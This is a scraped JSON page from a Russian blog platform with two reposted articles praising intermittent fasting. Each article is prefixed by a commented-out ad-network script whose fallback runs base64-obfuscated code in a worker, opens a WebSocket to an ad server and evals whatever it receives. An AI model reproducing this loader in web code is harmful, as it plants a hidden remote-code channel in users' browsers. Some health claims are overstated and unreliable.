\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>\x3cstrong>Что такое прерывистый пост?\x3cbr />Прерывистый пост \x3c/strong>для снижения веса включает в себя еду в течение определенного периода времени, а затем пост в течение определенного периода времени. По словам сертифицированного диетолога Лесли Ланжевена, этот метод работает, заставляя ваше тело не хранить жир и использовать накопленный жир для получения энергии. Это аргументация, объясняющая успех потери веса с помощью поста. Особый интерес представляет идея о том, что страшное слово «диета» не содержится ни в одном из источников, которые я читала. Вместо этого прерывистый пост — это изменение образа жизни\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a> \x3c/p>\n\x3cp>\x3cstrong>Как помогает прерывистый пост?\x3c/strong>\x3c/p>\n\x3cp>1. Существуют различные модели\x3c/p>\n\x3cp>Самые популярные варианты:\x3cbr />План 5/2 (пост в течение 2 дней)\x3cbr />Метод 18/6 (пост 18 часов в день)\x3cbr />Альтернативный день (пост через день в течение 24 часов)\x3cbr />План 20/4 (есть только в течение 4-х часового периода).\x3c/p>\n\x3cp>\x3cstrong>2. Легче сократить калории\x3c/strong>\x3cbr />В целом, вы потребляете меньше калорий. Важно не переусердствовать во время еды. Единственные калории, которые вам нужно учитывать, это те, которые вы потребляете в дни поста. Рекомендации по потреблению калорий в день голодания составляют 500 калорий для женщин и 600 для мужчин.\x3c/p>\n\x3cp>\x3cstrong>3. Тело сжигает жир быстрее и эффективнее\x3c/strong>\x3cbr />С постом вы теряете вес, уменьшаете процент жировых отложений и улучшаете общее состояние здоровья.\x3c/p>\n\x3cp>\x3cstrong>4. Позволяет снизить уровень инсулина\x3c/strong>\x3cbr />Инсулин увеличивается после еды. Во время голодания инсулин уменьшается. По словам доктора Наймана, после 18-24 часов голодания инсулин находится на самом низком уровне, и это самое подходящее время для сжигания жира и ремонта клеток.\x3c/p>\n\x3cp>\x3cstrong>5. Снижает уровень холестерина\x3c/strong>\x3cbr />Одним из преимуществ снижения веса является снижение уровня холестерина.\x3c/p>\n\x3cp>\x3cstrong>6. Повышает уровень гормонов\x3c/strong>\x3cbr />Пост запускает производство человеческого гормона роста. Увеличение этого гормона способствует более быстрой потере веса и увеличению энергии.\x3c/p>\n\x3cp>\x3cstrong>7. Время питания\x3c/strong>\x3cbr />Основываясь на наших традициях питания наших древних предков, нам нужно есть только тогда, когда есть еда. Этот подход увеличивает время, в течение которого наши тела используют накопленную энергию. Когда ваше тело использует накопленную энергию, вы теряете вес. \x3c/p>\n\x3cp>\x3cstrong>8. Вы узнаете разницу между тем, когда вам нужно есть и когда вы хотите поесть\x3c/strong>\x3cbr />Осознание того, когда вам нужно есть, помогает уменьшить эти нездоровые привычки в еде.\x3c/p>\n\x3cp>\x3cstrong>9. Увеличивает метаболизм\x3c/strong>\x3cbr />Некоторые люди могут сказать вам, что голодание снижает метаболизм, потому что вы чувствуете себя вялым. Это просто неправда. Пост увеличивает метаболизм, потому что ваш организм зависит от накопленной энергии. Одно исследование 11 здоровых мужчин показывает, что за 3 дня уровень их метаболизма вырос на 14%.\x3c/p>\n\x3cp>\x3cstrong>10. Меньшая вероятность обмана\x3c/strong>\x3cbr />Так как прерывистый пост для снижения веса настолько прост, что он снижает вероятность обмана участников. У вас нет ограничений диеты. Вы можете наслаждаться едой и не чувствовать себя виноватыми.\x3c/p>\n\x3cp>\x3cstrong>11. Простой план \x3c/strong>\x3cbr />Все, что вам нужно сделать, это есть и не есть. Нет необходимости подчеркивать хорошие продукты или плохие продукты. Вам не нужно измерять продукты. Вы просто едите разумно, а затем прекращаете есть в тот период времени, который вам лучше всего подходит.\x3c/p>\n\x3cp>\x3cstrong>12. Доступный вариант \x3c/strong>\x3cbr />Этот метод потери веса не требует членских взносов или покупки специальных блюд. На самом деле, вы должны увидеть снижение вашего бакалейного счета, потому что вы едите меньше еды.\x3c/p>\n\x3cp>\x3cstrong>Успех прерывистого плана потери веса зависит от нескольких факторов:\x3c/strong>\x3cbr />Не переедайте.\x3cbr />Не недоедайте.\x3cbr />Поиск правильной модели\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a> \x3c/p>\n\x3cp>\x3ca href=\"https://www.powerofpositivity.com/intermittent-fasting-help-you-lose-fat/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43256859164","tags":["прерывистый","исследование","Здоровье","пост","польза","наука"],"date":1537723062,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20380246301,"photo_original":"https://mtdata.ru/u20/photoE35E/20380246301-0/original.png","width":540,"height":281}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/nauka-obyasnyaet-12-sposobov-szhiganiya-nezhelatelnogo-zhira-s-pomoshhyu-preryivistogo-posta/","topic":"spam","title":"Наука объясняет 12 способов сжигания нежелательного жира с помощью прерывистого поста","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-23T17:17:42.000Z","ver1":"23 сентября, 20:17","ver2":"23.09.2018 в 20:17","ver3":"23 сент., 20:17"},"images":[{"main":true,"url":"https://mtdata.ru/u20/photoE35E/20380246301-0/original.png","width":540,"height":281}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43540385546,"from_id":610787515,"from":{"id":610787515,"display_name":"Иван Р","url":"https://mirtesen.ru/people/610787515","photo_original":"https://mtdata.ru/u25/photoF58B/20530199656-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30101041796,"text":"\x3cdiv>\x3ca href=\"https://fithacker.ru/wp-content/uploads/2018/09/clock5.jpg\" data-caption=\"data-caption\" target=\"_blank\">\x3cimg width=\"600\" height=\"439\" src=\"//mtdata.ru/u19/photo99CE/20428034940-0/original.jpg#20428034940\" alt=\"alt\" title=\"clock5\" />\x3c/a>\x3c/div>\x3c!-- M347983Composite Start -->\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>\x3cstrong>Практика «прерывистого поста» \x3c/strong>стала очень популярной в последнее время, поскольку она помогает людям жить долгой и здоровой жизнью\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>Простыми словами, прерывистый пост является популярным методом ограничения потребления калорий, чтобы помочь вам сбросить вес, что, в свою очередь, предотвратит несколько заболеваний и поможет вам жить дольше и здоровее.\x3c/p>\n\x3cp>Прерывистый пост является зонтичным термином, который охватывает различные типы расписаний голодания, когда потребление калорий ограничено полностью или частично, либо через пару дней в неделю, либо через день, либо на ежедневной основе.\x3c/p>\n\x3cp>\x3cstrong>Вот три самых популярных метода прерывистого поста:\x3c/strong>\x3c/p>\n\x3cp>Метод 16/8: в этом методе вы пропускаете завтрак и ограничиваете ежедневный период приема пищи до 8 часов. \x3c/p>\n\x3cp>\x3cstrong>Без еды:\x3c/strong> этот метод предполагает голодание в течение 24 часов, один или два раза в неделю\x3cbr />,\x3cbr />\x3cstrong>Диета 5: 2:\x3c/strong> в этом методе вы едите только от 500 до 600 калорий в течение 2 не последовательных дней недели. В остальные 5 дней вы едите нормально.\x3c/p>\n\x3cp>\x3cstrong>Примечание:\x3c/strong> Пост может не подходить для беременных и кормящих женщин. Кроме того, люди, страдающие диабетом или другими хроническими заболеваниями, должны проконсультироваться со своим врачом перед началом любого типа поста.\x3c/p>\n\x3cp>\x3cstrong>Вот некоторые из преимуществ прерывистого поста.\x3c/strong>\x3c/p>\n\x3cp>1. Помогает вам жить долго\x3cbr />Многие люди пробуют прерывистый пост как средство продления срока их жизни.\x3c/p>\n\x3cp>В исследовании 2000 года, опубликованном в «Механизмах старения и развития», было проанализировано влияние кратковременного повторного голодания на долговечность жизни самок мышей. \x3c/p>\n\x3cp>Таким образом, можно сделать вывод, что прерывистый пост может улучшить здоровье и снизить риск хронических заболеваний, что, в свою очередь, может продлить жизнь.\x3c/p>\n\x3cp>\x3cstrong>2. Помогает вам похудеть и сжигает жир в области живота\x3c/strong>\x3cbr />В этом типе голодания вы едите меньше еды, а это значит, что вы едите меньше калорий. Кроме того, это увеличит ваш уровень метаболизма, который поможет вам сжечь еще больше калорий.\x3c/p>\n\x3cp>Прерывистый пост может привести к сжиганию жира в области живота, вредного жира в брюшной полости, что является фактором риска для многих заболеваний, таких как диабет, высокий уровень холестерина и проблемы с сердцем.\x3c/p>\n\x3cp>\x3cstrong>3. Снижает риск сердечно-сосудистых заболеваний\x3c/strong>\x3cbr />Периодический пост помогает снизить риск сердечно-сосудистых проблем. Это помогает уменьшить различные факторы риска, которые способствуют сердечным заболеваниям, поскольку это помогает снизить кровяное давление, общее количество и (ЛПНП или «плохой» холестерин) и уровень сахара в крови.\x3c/p>\n\x3cp>Это также помогает уменьшить воспалительные маркеры сердечно-сосудистых заболеваний.\x3c/p>\n\x3cp>Исследование 2014 года, опубликованное в Международном журнале здравоохранения, отмечает, что прерывистый пост может иметь кардипротективные эффекты.\x3c/p>\n\x3cp>\x3cstrong>4. Ремонт клеток\x3c/strong>\x3cbr />Прерывистый пост также помогает в важных процессах ремонта клеток, таких как удаление отходов из клеток.\x3c/p>\n\x3cp>Здоровые клетки важны для здоровой жизни, но они могут стать поврежденными из-за окислительного стресса. Это может ускорить процесс старения и вызвать многие проблемы со здоровьем.\x3c/p>\n\x3cp>Прерывистый пост является безопасным способом предотвращения или устранения повреждения клеток от окислительного стресса.\x3c/p>\n\x3cp>Пост приводит к небольшому увеличению производства свободных радикалов на раннем этапе во время голодания. Клетки реагируют, увеличивая их уровни естественных антиоксидантов для борьбы с будущим свободным радикальным повреждением. Это заставляет клетки лучше справляться с более сильными окислительными стрессами в будущем\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3ca href=\"https://www.top10homeremedies.com/news-facts/intermittent-fasting-can-help-live-longer-healthier.html\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3cbr />Фото — \x3ca href=\"http://www.novate.ru/files/u31112/clock5.jpg\" target=\"_blank\">novate.ru\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43540385546","tags":["методы","прерывистый","похудение","Здоровье","пост","польза"],"date":1536854329,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20428034940,"photo_original":"https://mtdata.ru/u19/photo99CE/20428034940-0/original.jpg","width":600,"height":439}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/kak-preryivistyiy-post-mozhet-pomoch-vam-zhit-dolshe-i-zdorovee/","topic":"health","title":"Как прерывистый пост может помочь вам жить дольше и здоровее","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-13T15:58:49.000Z","ver1":"13 сентября, 18:58","ver2":"13.09.2018 в 18:58","ver3":"13 сент., 18:58"},"images":[{"main":true,"url":"https://mtdata.ru/u19/photo99CE/20428034940-0/original.jpg","width":600,"height":439}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"прерывистый","tagId":80126230422,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}